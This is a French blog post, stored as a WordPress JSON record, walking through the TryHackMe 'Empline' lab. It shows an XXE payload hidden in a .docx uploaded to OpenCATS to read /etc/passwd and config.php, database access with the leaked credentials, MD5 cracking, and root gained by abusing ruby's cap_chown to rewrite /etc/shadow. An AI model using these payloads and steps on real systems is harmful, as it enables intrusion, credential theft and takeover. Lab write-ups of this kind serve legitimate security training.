{"id":2176,"date":"2021-09-20T11:57:56","date_gmt":"2021-09-20T09:57:56","guid":{"rendered":"https:\/\/mikadmin.fr\/blog\/?p=2176"},"modified":"2021-09-20T11:59:47","modified_gmt":"2021-09-20T09:59:47","slug":"tryhackme-empline","status":"publish","type":"post","link":"https:\/\/mikadmin.fr\/blog\/tryhackme-empline\/","title":{"rendered":"[TryHackme] \u2013 Empline"},"content":{"rendered":"<span class=\"span-reading-time rt-reading-time\" style=\"display: block;\"><span class=\"rt-label rt-prefix\"><\/span> <span class=\"rt-time\"> 4<\/span> <span class=\"rt-label rt-postfix\">min read<\/span><\/span><p>Views: 1931<\/p>\n<div style=\"height:30px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/09\/189112ffef41c0fa813d7d5b394a58b5.png\" alt=\"\" class=\"wp-image-2179\" width=\"199\" height=\"199\" srcset=\"https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/09\/189112ffef41c0fa813d7d5b394a58b5.png 1000w, https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/09\/189112ffef41c0fa813d7d5b394a58b5-300x300.png 300w, https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/09\/189112ffef41c0fa813d7d5b394a58b5-150x150.png 150w, https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/09\/189112ffef41c0fa813d7d5b394a58b5-768x768.png 768w, https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/09\/189112ffef41c0fa813d7d5b394a58b5-50x50.png 50w\" sizes=\"auto, (max-width: 199px) 100vw, 199px\" \/><\/figure><\/div>\n\n\n\n<p class=\"has-text-align-center has-medium-font-size\"><strong>Lien :<\/strong> <a href=\"https:\/\/tryhackme.com\/room\/empline\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/tryhackme.com\/room\/empline<\/a><\/p>\n\n\n\n<p class=\"has-text-align-center has-medium-font-size\"><strong>Auteur :<\/strong> <a href=\"https:\/\/tryhackme.com\/p\/zyeinn\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/tryhackme.com\/p\/zyeinn<\/a><\/p>\n\n\n\n<p class=\"has-text-align-center has-medium-font-size\"><strong>Difficult\u00e9 :<\/strong> <span style=\"color:#ff6900\" class=\"tadv-color\">Moyenne<\/span><\/p>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<div style=\"height:20px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h1 class=\"has-text-align-center wp-block-heading\" style=\"font-size:40px\">[USER]<\/h1>\n\n\n\n<div style=\"height:25px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p class=\"has-text-align-center has-medium-font-size\">L&rsquo;\u00e9num\u00e9ration de la machine \u00e0 l&rsquo;aide de nmap nous permet de d\u00e9couvrir 3 ports ouverts qui sont le <strong>22<\/strong>, <strong>80<\/strong> et <strong>3306<\/strong>.<\/p>\n\n\n\n<pre class=\"wp-block-prismatic-blocks\"><code class=\"language-markdown\"># nmap -A -T4 10.10.181.246\n\n22\/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)\n| ssh-hostkey: \n|   2048 c0:d5:41:ee:a4:d0:83:0c:97:0d:75:cc:7b:10:7f:76 (RSA)\n|   256 83:82:f9:69:19:7d:0d:5c:53:65:d5:54:f6:45:db:74 (ECDSA)\n|_  256 4f:91:3e:8b:69:69:09:70:0e:82:26:28:5c:84:71:c9 (ED25519)\n80\/tcp   open  http    Apache httpd 2.4.29 ((Ubuntu))\n|_http-server-header: Apache\/2.4.29 (Ubuntu)\n|_http-title: Empline\n3306\/tcp open  mysql   MySQL 5.5.5-10.1.48-MariaDB-0ubuntu0.18.04.1\n| mysql-info: \n|   Protocol: 10\n|   Version: 5.5.5-10.1.48-MariaDB-0ubuntu0.18.04.1\n|   Thread ID: 85\n|   Capabilities flags: 63487\n<\/code><\/pre>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<p class=\"has-text-align-center has-medium-font-size\">Une fois sur le site web nous pouvons voir que l&rsquo;onglet <strong>EMPLOYMENT<\/strong> nous redirige vers <a href=\"http:\/\/job.empline.thm\/careers\" target=\"_blank\" rel=\"noreferrer noopener\">http:\/\/job.empline.thm\/careers<\/a> :<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"231\" src=\"https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/09\/image-1024x231.png\" alt=\"TryHackMe\" class=\"wp-image-2198\" srcset=\"https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/09\/image-1024x231.png 1024w, https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/09\/image-300x68.png 300w, https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/09\/image-150x34.png 150w, https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/09\/image-768x173.png 768w, https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/09\/image.png 1114w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure><\/div>\n\n\n\n<p><\/p>\n\n\n\n<div style=\"height:20px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p class=\"has-text-align-center has-medium-font-size\">Nous pouvons en d\u00e9duire qu&rsquo;il faut ajouter <strong>empline.thm<\/strong> et <strong>job.empline.thm<\/strong> \u00e0 notre fichier <strong>\/etc\/hosts<\/strong> :<\/p>\n\n\n\n<pre class=\"wp-block-prismatic-blocks\"><code class=\"language-bash\">echo &quot;10.10.181.246 empline.thm job.empline.thm&quot; &gt;&gt; \/etc\/hosts<\/code><\/pre>\n\n\n\n<div style=\"height:15px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p class=\"has-text-align-center has-medium-font-size\">Ce qui nous permet d&rsquo;avoir acc\u00e8s \u00e0 cette page :<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"343\" src=\"https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/09\/image-1-1024x343.png\" alt=\"TryHackMe\" class=\"wp-image-2200\" srcset=\"https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/09\/image-1-1024x343.png 1024w, https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/09\/image-1-300x101.png 300w, https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/09\/image-1-150x50.png 150w, https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/09\/image-1-768x257.png 768w, https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/09\/image-1.png 1200w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure><\/div>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<div style=\"height:20px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p class=\"has-text-align-center has-medium-font-size\">Voici un article tr\u00e8s tr\u00e8s int\u00e9ressant qui pr\u00e9sente l&rsquo;exploitation d&rsquo;une <strong>faille <span style=\"color:#cf2e2e\" class=\"tadv-color\">XXE<\/span><\/strong> (<em><strong>CVE-2019-13358<\/strong><\/em>) sur le m\u00eame <strong>CMS<\/strong> :<\/p>\n\n\n\n<p class=\"has-text-align-center\"><a href=\"https:\/\/doddsecurity.com\/312\/xml-external-entity-injection-xxe-in-opencats-applicant-tracking-system\/\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/doddsecurity.com\/312\/xml-external-entity-injection-xxe-in-opencats-applicant-tracking-system\/<\/a><\/p>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<div style=\"height:25px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p class=\"has-text-align-center has-medium-font-size\">La cr\u00e9ation d&rsquo;un <strong>document malicieux <\/strong>va nous permettre de <strong>pouvoir lire un fichier sur le serveur<\/strong>, ici nous allons reproduire les m\u00eames actions que dans l&rsquo;article mentionn\u00e9 plus haut :<\/p>\n\n\n\n<p><\/p>\n\n\n\n<div style=\"height:15px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p class=\"has-text-align-center has-medium-font-size\">Cr\u00e9ation du script permettant de g\u00e9n\u00e9rer un fichier <strong>.docx<\/strong> :<\/p>\n\n\n\n<pre class=\"wp-block-prismatic-blocks\"><code class=\"language-python\">#!\/usr\/bin\/env python3\n\nfrom docx import Document\n\ndocument = Document()\nparagraph = document.add_paragraph(&#039;Reginald Dodd&#039;)\ndocument.save(&#039;resume.docx&#039;)<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-prismatic-blocks\"><code class=\"language-shell-session\">(root\ud83d\udc80kali)# chmod +x script.py\n(root\ud83d\udc80kali)# .\/script.py\n(root\ud83d\udc80kali)# unzip resume.docx<\/code><\/pre>\n\n\n\n<div style=\"height:20px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p class=\"has-text-align-center has-medium-font-size\">Nous devons \u00e0 pr\u00e9sent modifier le fichier document.xml pour y inclure la <strong>XXE<\/strong> :<\/p>\n\n\n\n<pre class=\"wp-block-prismatic-blocks\"><code class=\"language-bash\">nano word\/document.xml<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-prismatic-blocks\"><code class=\"language-markdown\"># Payload for read \/etc\/passwd\n&lt;!DOCTYPE test [&lt;!ENTITY test SYSTEM &#039;file:\/\/\/etc\/passwd&#039;&gt;]&gt;\n\n# Change Reginald Dodd to &amp;test;<\/code><\/pre>\n\n\n\n<div style=\"height:20px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p class=\"has-text-align-center has-medium-font-size\">Copier ce payload \u00e0 la ligne 2 et changer Reginald Dodd par <strong>&amp;test;<\/strong> ce qui nous donne :<\/p>\n\n\n\n<pre class=\"wp-block-prismatic-blocks\"><code class=\"language-markdown\">&lt;?xml version=&#039;1.0&#039; encoding=&#039;UTF-8&#039; standalone=&#039;yes&#039;?&gt;\n&lt;!DOCTYPE test [&lt;!ENTITY test SYSTEM &#039;file:\/\/\/etc\/passwd&#039;&gt;]&gt;\n&lt;w:document xmlns:wpc=&quot;http:\/\/schemas.microsoft.com\/office\/word\/2010\/wordprocessingCanvas&quot; xmlns:mo=&quot;http:\/\/schemas.microsoft.com\/office\/mac\/office\/2008\/main&quot; xmlns:mc=&quot;http:\/\/schemas.openxmlformats.org\/markup-compatibility\/2006&quot; xmlns:mv=&quot;urn:schemas-microsoft-com:mac:vml&quot; xmlns:o=&quot;urn:schemas-microsoft-com:office:office&quot; xmlns:r=&quot;http:\/\/schemas.openxmlformats.org\/officeDocument\/2006\/relationships&quot; xmlns:m=&quot;http:\/\/schemas.openxmlformats.org\/officeDocument\/2006\/math&quot; xmlns:v=&quot;urn:schemas-microsoft-com:vml&quot; xmlns:wp14=&quot;http:\/\/schemas.microsoft.com\/office\/word\/2010\/wordprocessingDrawing&quot; xmlns:wp=&quot;http:\/\/schemas.openxmlformats.org\/drawingml\/2006\/wordprocessingDrawing&quot; xmlns:w10=&quot;urn:schemas-microsoft-com:office:word&quot; xmlns:w=&quot;http:\/\/schemas.openxmlformats.org\/wordprocessingml\/2006\/main&quot; xmlns:w14=&quot;http:\/\/schemas.microsoft.com\/office\/word\/2010\/wordml&quot; xmlns:wpg=&quot;http:\/\/schemas.microsoft.com\/office\/word\/2010\/wordprocessingGroup&quot; xmlns:wpi=&quot;http:\/\/schemas.microsoft.com\/office\/word\/2010\/wordprocessingInk&quot; xmlns:wne=&quot;http:\/\/schemas.microsoft.com\/office\/word\/2006\/wordml&quot; xmlns:wps=&quot;http:\/\/schemas.microsoft.com\/office\/word\/2010\/wordprocessingShape&quot; mc:Ignorable=&quot;w14 wp14&quot;&gt;&lt;w:body&gt;&lt;w:p&gt;&lt;w:r&gt;&lt;w:t&gt;&amp;test;&lt;\/w:t&gt;&lt;\/w:r&gt;&lt;\/w:p&gt;&lt;w:sectPr w:rsidR=&quot;00FC693F&quot; w:rsidRPr=&quot;0006063C&quot; w:rsidSect=&quot;00034616&quot;&gt;&lt;w:pgSz w:w=&quot;12240&quot; w:h=&quot;15840&quot;\/&gt;&lt;w:pgMar w:top=&quot;1440&quot; w:right=&quot;1800&quot; w:bottom=&quot;1440&quot; w:left=&quot;1800&quot; w:header=&quot;720&quot; w:footer=&quot;720&quot; w:gutter=&quot;0&quot;\/&gt;&lt;w:cols w:space=&quot;720&quot;\/&gt;&lt;w:docGrid w:linePitch=&quot;360&quot;\/&gt;&lt;\/w:sectPr&gt;&lt;\/w:body&gt;&lt;\/w:document&gt;<\/code><\/pre>\n\n\n\n<div style=\"height:20px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p class=\"has-text-align-center has-medium-font-size\">Il nous suffit \u00e0 pr\u00e9sent de re zip tout \u00e7a et de l&rsquo;upload sur le site !<\/p>\n\n\n\n<pre class=\"wp-block-prismatic-blocks\"><code class=\"language-bash\">zip resume.docx word\/document.xml<\/code><\/pre>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<div style=\"height:20px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p class=\"has-text-align-center has-medium-font-size\">Nous pouvons postuler \u00e0 cette offre de dev mobile ici m\u00eame : <\/p>\n\n\n\n<p class=\"has-text-align-center has-medium-font-size\"><a href=\"http:\/\/job.empline.thm\/careers\/index.php?m=careers&amp;p=applyToJob&amp;ID=1\" target=\"_blank\" rel=\"noreferrer noopener\">http:\/\/job.empline.thm\/careers\/index.php?m=careers&amp;p=applyToJob&amp;ID=1<\/a><\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"537\" height=\"348\" src=\"https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/09\/image-2.png\" alt=\"TryHackMe\" class=\"wp-image-2214\" srcset=\"https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/09\/image-2.png 537w, https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/09\/image-2-300x194.png 300w, https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/09\/image-2-150x97.png 150w\" sizes=\"auto, (max-width: 537px) 100vw, 537px\" \/><\/figure><\/div>\n\n\n\n<div style=\"height:15px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p class=\"has-text-align-center has-medium-font-size\">Apr\u00e8s upload de notre fichier<strong> .docx <\/strong>nous avons comme retour le contenu du fichier <strong>\/etc\/passwd<\/strong> :<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"544\" height=\"596\" src=\"https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/09\/image-3.png\" alt=\"TryHackMe\" class=\"wp-image-2215\" srcset=\"https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/09\/image-3.png 544w, https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/09\/image-3-274x300.png 274w, https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/09\/image-3-137x150.png 137w\" sizes=\"auto, (max-width: 544px) 100vw, 544px\" \/><\/figure><\/div>\n\n\n\n<div style=\"height:20px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<p class=\"has-text-align-center has-medium-font-size\">Cependant ceci ne nous permet pas d&rsquo;avancer dans l&rsquo;exploitation de cette machine, ce qui peut-\u00eatre int\u00e9ressant est de lire le contenu du fichier <strong>config.php<\/strong> contenant les informations de connexion \u00e0 la base de donn\u00e9es qui elle est ouverte \u00e0 la connexion sur le port <strong>3306<\/strong>.<\/p>\n\n\n\n<p class=\"has-text-align-center\"><\/p>\n\n\n\n<div style=\"height:15px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p class=\"has-text-align-center has-medium-font-size\">Le principe est exactement le m\u00eame sauf que nous allons utiliser ce payload :<\/p>\n\n\n\n<pre class=\"wp-block-prismatic-blocks\"><code class=\"language-php\">&lt;!DOCTYPE test [&lt;!ENTITY test SYSTEM &#039;php:\/\/filter\/convert.base64-encode\/resource=config.php&#039;&gt;]&gt;<\/code><\/pre>\n\n\n\n<p class=\"has-text-align-center has-medium-font-size\">Ce qui nous donne :<\/p>\n\n\n\n<pre class=\"wp-block-prismatic-blocks\"><code class=\"language-markdown\">&lt;?xml version=&#039;1.0&#039; encoding=&#039;UTF-8&#039; standalone=&#039;yes&#039;?&gt;\n&lt;!DOCTYPE test [&lt;!ENTITY test SYSTEM &#039;php:\/\/filter\/convert.base64-encode\/resource=config.php&#039;&gt;]&gt;\n&lt;w:document xmlns:wpc=&quot;http:\/\/schemas.microsoft.com\/office\/word\/2010\/wordprocessingCanvas&quot; xmlns:mo=&quot;http:\/\/schemas.microsoft.com\/office\/mac\/office\/2008\/main&quot; xmlns:mc=&quot;http:\/\/schemas.openxmlformats.org\/markup-compatibility\/2006&quot; xmlns:mv=&quot;urn:schemas-microsoft-com:mac:vml&quot; xmlns:o=&quot;urn:schemas-microsoft-com:office:office&quot; xmlns:r=&quot;http:\/\/schemas.openxmlformats.org\/officeDocument\/2006\/relationships&quot; xmlns:m=&quot;http:\/\/schemas.openxmlformats.org\/officeDocument\/2006\/math&quot; xmlns:v=&quot;urn:schemas-microsoft-com:vml&quot; xmlns:wp14=&quot;http:\/\/schemas.microsoft.com\/office\/word\/2010\/wordprocessingDrawing&quot; xmlns:wp=&quot;http:\/\/schemas.openxmlformats.org\/drawingml\/2006\/wordprocessingDrawing&quot; xmlns:w10=&quot;urn:schemas-microsoft-com:office:word&quot; xmlns:w=&quot;http:\/\/schemas.openxmlformats.org\/wordprocessingml\/2006\/main&quot; xmlns:w14=&quot;http:\/\/schemas.microsoft.com\/office\/word\/2010\/wordml&quot; xmlns:wpg=&quot;http:\/\/schemas.microsoft.com\/office\/word\/2010\/wordprocessingGroup&quot; xmlns:wpi=&quot;http:\/\/schemas.microsoft.com\/office\/word\/2010\/wordprocessingInk&quot; xmlns:wne=&quot;http:\/\/schemas.microsoft.com\/office\/word\/2006\/wordml&quot; xmlns:wps=&quot;http:\/\/schemas.microsoft.com\/office\/word\/2010\/wordprocessingShape&quot; mc:Ignorable=&quot;w14 wp14&quot;&gt;&lt;w:body&gt;&lt;w:p&gt;&lt;w:r&gt;&lt;w:t&gt;&amp;test;&lt;\/w:t&gt;&lt;\/w:r&gt;&lt;\/w:p&gt;&lt;w:sectPr w:rsidR=&quot;00FC693F&quot; w:rsidRPr=&quot;0006063C&quot; w:rsidSect=&quot;00034616&quot;&gt;&lt;w:pgSz w:w=&quot;12240&quot; w:h=&quot;15840&quot;\/&gt;&lt;w:pgMar w:top=&quot;1440&quot; w:right=&quot;1800&quot; w:bottom=&quot;1440&quot; w:left=&quot;1800&quot; w:header=&quot;720&quot; w:footer=&quot;720&quot; w:gutter=&quot;0&quot;\/&gt;&lt;w:cols w:space=&quot;720&quot;\/&gt;&lt;w:docGrid w:linePitch=&quot;360&quot;\/&gt;&lt;\/w:sectPr&gt;&lt;\/w:body&gt;&lt;\/w:document&gt;<\/code><\/pre>\n\n\n\n<div style=\"height:15px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p class=\"has-text-align-center has-medium-font-size\"> \u26a0\ufe0f N&rsquo;oublions pas de <strong>re zip<\/strong> le document et let&rsquo;s go pour l&rsquo;upload :<\/p>\n\n\n\n<div style=\"height:15px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p><\/p>\n\n\n\n<p class=\"has-text-align-center has-medium-font-size\">Nous obtenons donc du <strong>base64<\/strong> qui est en r\u00e9alit\u00e9 le contenu du fichier <strong>config.php<\/strong> :<\/p>\n\n\n\n<p><\/p>\n\n\n\n<pre class=\"wp-block-prismatic-blocks\"><code class=\"language-php\">&lt;?php\n[REDACTED]\n\n\/* Database configuration. *\/\ndefine(&#039;DATABASE_USER&#039;, &#039;james&#039;);\ndefine(&#039;DATABASE_PASS&#039;, &#039;[REDACTED]&#039;);\ndefine(&#039;DATABASE_HOST&#039;, &#039;localhost&#039;);\ndefine(&#039;DATABASE_NAME&#039;, &#039;opencats&#039;);\n\n[REDACTED]\n?&gt;<\/code><\/pre>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<div style=\"height:20px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p class=\"has-text-align-center has-medium-font-size\">Nous pouvons d\u00e8s \u00e0 pr\u00e9sent nous connecter sur la base de donn\u00e9es afin de l&rsquo;\u00e9num\u00e9rer :<\/p>\n\n\n\n<pre class=\"wp-block-prismatic-blocks\"><code class=\"language-bash\">mysql -h 10.10.181.246 -u james -p<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-prismatic-blocks\"><code class=\"language-sql\">show databases;\nuse opencats;\nselect * from user;<\/code><\/pre>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"656\" height=\"134\" src=\"https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/09\/image-4.png\" alt=\"\" class=\"wp-image-2216\" srcset=\"https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/09\/image-4.png 656w, https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/09\/image-4-300x61.png 300w, https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/09\/image-4-150x31.png 150w\" sizes=\"auto, (max-width: 656px) 100vw, 656px\" \/><\/figure><\/div>\n\n\n\n<div style=\"height:20px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p class=\"has-text-align-center has-medium-font-size\">Nous trouvons donc deux passwords mais le plus int\u00e9ressant est celui de <strong>george<\/strong> car nous savons d\u00e9j\u00e0 qu&rsquo;il est pr\u00e9sent sur la machine, il suffit simplement de cracker ce md5 avec <a href=\"https:\/\/crackstation.net\/\" target=\"_blank\" rel=\"noreferrer noopener\">crackstation<\/a> :<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"182\" src=\"https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/09\/image-5-1024x182.png\" alt=\"\" class=\"wp-image-2217\" srcset=\"https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/09\/image-5-1024x182.png 1024w, https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/09\/image-5-300x53.png 300w, https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/09\/image-5-150x27.png 150w, https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/09\/image-5-768x136.png 768w, https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/09\/image-5.png 1032w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure><\/div>\n\n\n\n<div style=\"height:20px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p class=\"has-text-align-center has-medium-font-size\">C&rsquo;est l&rsquo;heure d&rsquo;utiliser ce password en ssh :<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"442\" height=\"70\" src=\"https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/09\/image-6.png\" alt=\"TryHackMe\" class=\"wp-image-2218\" srcset=\"https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/09\/image-6.png 442w, https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/09\/image-6-300x48.png 300w, https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/09\/image-6-150x24.png 150w\" sizes=\"auto, (max-width: 442px) 100vw, 442px\" \/><\/figure><\/div>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<p class=\"has-text-align-center\"><\/p>\n\n\n\n<h1 class=\"has-text-align-center wp-block-heading\" style=\"font-size:40px\">[ROOT]<\/h1>\n\n\n\n<div style=\"height:30px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p class=\"has-text-align-center has-medium-font-size\">Apr\u00e8s \u00e9num\u00e9ration classique, nous pouvons d\u00e9couvrir qu&rsquo;il y a une <a href=\"https:\/\/book.hacktricks.xyz\/linux-unix\/privilege-escalation\/linux-capabilities\" target=\"_blank\" rel=\"noreferrer noopener\">capability<\/a> sur le binaire <span style=\"color:#cf2e2e\" class=\"tadv-color\"><strong>ruby<\/strong><\/span> :<\/p>\n\n\n\n<pre class=\"wp-block-prismatic-blocks\"><code class=\"language-bash\">getcap -r \/ 2&gt;\/dev\/null<\/code><\/pre>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/09\/image-7.png\" alt=\"TryHackMe\" class=\"wp-image-2219\" width=\"427\" height=\"90\" srcset=\"https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/09\/image-7.png 338w, https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/09\/image-7-300x63.png 300w, https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/09\/image-7-150x32.png 150w\" sizes=\"auto, (max-width: 427px) 100vw, 427px\" \/><\/figure><\/div>\n\n\n\n<div style=\"height:20px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p class=\"has-text-align-center has-medium-font-size\">Le <strong>mtr-packet<\/strong> n&rsquo;est pas int\u00e9ressant, ici nous avons le <strong><span style=\"color:#cf2e2e\" class=\"tadv-color\">cap_chown<\/span><\/strong> d&rsquo;activ\u00e9, ce dernier permet de changer le propri\u00e9taire d&rsquo;une fichier\/dossier.<\/p>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<p class=\"has-text-align-center has-medium-font-size\">Il est plus courant de voir ceci avec du <a href=\"https:\/\/mikadmin.fr\/blog\/linux-privilege-escalation-python-library-hijacking\/\" target=\"_blank\" rel=\"noreferrer noopener\">python<\/a> mais apr\u00e8s recherche on peut s&rsquo;aider de ce lien :<\/p>\n\n\n\n<p class=\"has-text-align-center\"><a href=\"https:\/\/ruby-doc.org\/core-2.5.0\/File.html\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/ruby-doc.org\/core-2.5.0\/File.html<\/a><\/p>\n\n\n\n<pre class=\"wp-block-prismatic-blocks\"><code class=\"language-ruby\">File.chown(nil, 100, &quot;testfile&quot;)<\/code><\/pre>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<p class=\"has-text-align-center has-medium-font-size\">Ce qui nous donne dans notre cas par exemple :<\/p>\n\n\n\n<div style=\"height:10px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<pre class=\"wp-block-prismatic-blocks\"><code class=\"language-shell-session\"># Change the owner of \/etc\/shadow (where 1002 = george uid)\n(root\ud83d\udc80kali)# ruby -e &quot;File.chown(1002, 1002, &#039;\/etc\/shadow&#039;)&quot;\n\n# Set 777 perms to this file\n(root\ud83d\udc80kali)# chmod 777 \/etc\/shadow\n\n# Create a new password for root user where mika = password\n(root\ud83d\udc80kali)# openssl passwd mika\n\nWe got zvceb9H\/tHBKQ\n\n# Let&#039;s modify the root user in \/etc\/shadow\n\nroot:$6$1cvOcl49$\/czKHKvBaz450J3YnIvkqexT.StvdgUWzPr5X1Aitt\/kxgF\/i78wziX3zJQ0y8Kg9y749Qjr5EFiHmTdPsIJH\/:18828:0:99999:7:::\nto\nroot:zvceb9H\/tHBKQ:18828:0:99999:7:::\n\n# Connect to root with mika as password and grab your flag\n\ngeorge@empline:~$ su root\nroot@empline:\/home\/george# id\nuid=0(root) gid=0(root) groups=0(root)\n<\/code><\/pre>\n\n\n\n<div style=\"height:35px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n","protected":false},"excerpt":{"rendered":"<p><span class=\"span-reading-time rt-reading-time\" style=\"display: block;\"><span class=\"rt-label rt-prefix\"><\/span> <span class=\"rt-time\"> 4<\/span> <span class=\"rt-label rt-postfix\">min read<\/span><\/span>Are you good enough to apply for this job ? <a href=\"https:\/\/mikadmin.fr\/blog\/tryhackme-empline\/\" class=\"more-link\">Continuer la lecture <span 